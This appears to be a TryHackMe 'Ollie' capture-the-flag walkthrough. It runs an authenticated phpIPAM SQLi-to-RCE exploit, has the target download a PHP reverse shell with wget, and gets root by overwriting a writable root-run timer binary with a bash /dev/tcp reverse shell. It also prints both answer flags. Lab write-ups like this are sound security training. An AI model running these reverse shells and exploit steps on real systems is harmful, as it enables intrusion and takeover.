Who would say that dogs liked chasing netcats? (Bad joke, forget about it.) Here is my detailed experience at solving Ollie at TryHackMe.
First of all, I made a complete port scan using nmap:
nmap -sS -p- 10.10.244.174Here is the list of open ports found:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1337/tcp open wasteThere is a web server, an ssh port, and a misterious "waste" service, which caught my attention:
I used netcat to connect to the host at port 1337:
nc 10.10.244.174 1337After a brief chat, Ollie gives us the credentials to log into the web administration panel. I directed to the HTTP service, which displayed a login form to access PHPIPAM:
The previous credentials granted me access to the developer panel of the web application. However, I did not find anything interesting until I researched vulnerabilities related to PHPIPAM 1.4.5 (the version shown at the page footer.)
Luckily, I found a GitHub repository with an exploit that leverages an SQLi to perform Remote Code Execution (RCE) being authenticated:
https://github.com/phpipam/phpipam/releases/tag/v1.4.5
Given that I already had the admin credentials, it was clear that the exploit was the right path to gain remote access into the system.
Before moving forward, I downloaded the exploit and dedicated a few minutes to understand its usage:
python3 50963.py \
-url ${TARGE_URL} \
-usr ${PHPIPAM_USER} \
-pwd ${PHPIPAM_PASSWORD} \
-cmd ${COMMAND_TO_EXECUTE} \
--path ${PATH_TO_WRITE_SHELL}We could use this exploit to execute any command the web-server is authorized to. The next goal was upgrading to a reverse-shell.
Kali linux comes with a variety of webshells pre-installed: I copied "/usr/share/webshells/php/php-reverse-shell.php" into shell.php at my working directory and populated the $ip and $port variables.
Then I started a web-server with python3, used later to transfer local files to the victim:
python3 -m "http.server" 9000The following command makes the target to download the reverse-shell. It does so by calling the web-server at port 9000:
python3 50963.py \
-url http://10.10.162.140 \
-usr admin \
-pwd OllieUnixMontgomery! \
-cmd "wget 10.13.89.148:9000/shell.php -O /var/tmp/shell.php" \
--path /var/www/html/It stores the shell at "/var/tmp", which is a writable directory.
Once the stage is ready, I locally prepared a TCP handler using netcat
nc -lcvp 4444Then, I triggered the shell using the following command:
python3 50963.py \
-url http://10.10.162.140 \
-usr admin \
-pwd OllieUnixMontgomery! \
-cmd "php /var/tmp/shell.php" \
--path /var/www/html/Done! Now I established a reverse-tcp connection, let's enhance it using:
python3 -c 'import pty; pty.spawn("/bin/bash")' && \
export TERM=xtermAfter gaining access with a reverse-shell, I attempted to switch my user to ollie using the same password as before:
su - ollie
#Password: OllieUnixMontgomery!Being logged as ollie gave me access to his home directory, in which captured the first flag.
cat /home/ollie/user.txt
# 🏴☠️ THM{Ollie_boi_is_daH_Cut3st}There wasn't any obvious attack vector that could lead to privilege escalation: ollie isn't a sudoer, neither there were interesting SUID binaries. Hence, I chose to install LinPeas.
# On my host
git clone https://github.com/BRU1S3R/linpeas.sh.gitI used the web-server from before to send "linpeas.sh" to the target. After running it, a file caught my attention:
[+] System timers
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers
NEXT LEFT LAST PASSED UNIT ACTIVATES
Mon 2025-10-06 02:05:00 UTC 30s left Mon 2025-10-06 02:04:02 UTC 27s ago feedme.timer
feedme.serviceThe "feedme.service" didn't sound like any other standard linux service. Then I remembered that Ollie was a dog, and started connecting the pieces.
I searched for all files related to "feedme"...
find / -type f -name "feedme*" 2>/dev/nulland got:
/usr/bin/feedme
/etc/systemd/system/timers.target.wants/feedme.timer
/etc/systemd/system/feedme.timer
/etc/systemd/system/feedme.serviceUp to this point, it seemed like "feedme" was a cronjob, and you know what the problem with cronjobs is, right?
I inspected the timer file to see when was Ollie's next lunch time:
# /etc/systemd/system/feedme.timer
[Timer]
Unit=feedme.service
OnCalendar=*-*-* *:*:00 Echo helped me to interpret the "OnCalendar" interval: the service executes once every minute.
After inspecting the service binary file permissions...
ls -la /usr/bin/feedme-rwxrw-r-- 1 root ollie 30 Feb 12 2022 /usr/bin/feedmeI noticed that Ollie had write permissions, meaning that the binary could be tampered to invoke a priviledged reverse-shell. Having a cron-job that executes once every minute with a writable binary sounded like the perfect escalation vector.
To be honest, I didn't remember what was the simplest way to make a reverse-shell: after attempting using netcat, I had to ask Echo for a oneliner that made the job:
!#/bin/bash
bash -i >& /dev/tcp/10.13.89.148/4445 0>&1Note: To avoid losing my current shell, the payload connects to port 4445
I wrote the payload on a local file, and then sent it to the victim via http (saved as "priv-shell").
Before proceeding, I opened a second tcp handler:
nc -lcvp 4445After failing to copy the content into /usr/bin/feedme, using standard commands "wget -O" and "cp" I asked Echo for an alternative, and remembered a very useful trick:
cat priv-shell > usr/bin/feedme "The 'cp' and 'mv' commands may fail due to permission issues, non-existent source files, or incorrect paths. In contrast, using '>' to redirect output simply creates a new file or overwrites an existing one, which is generally less prone to these issues since it operates at the shell level rather than needing access to the file system in the same way as 'cp' or 'mv'."
👽 Echo
In less than a minute, the handler caught a connection: I finally got a root-level shell.
Finally, to get the root flag, just typed:
cat /root/root.txt
# 🏴☠️ THM{Ollie_Luvs_Chicken_Fries}What is the user.txt flag?
THM{Ollie_boi_is_daH_Cut3st}What is the root.txt flag?
THM{Ollie_Luvs_Chicken_Fries}



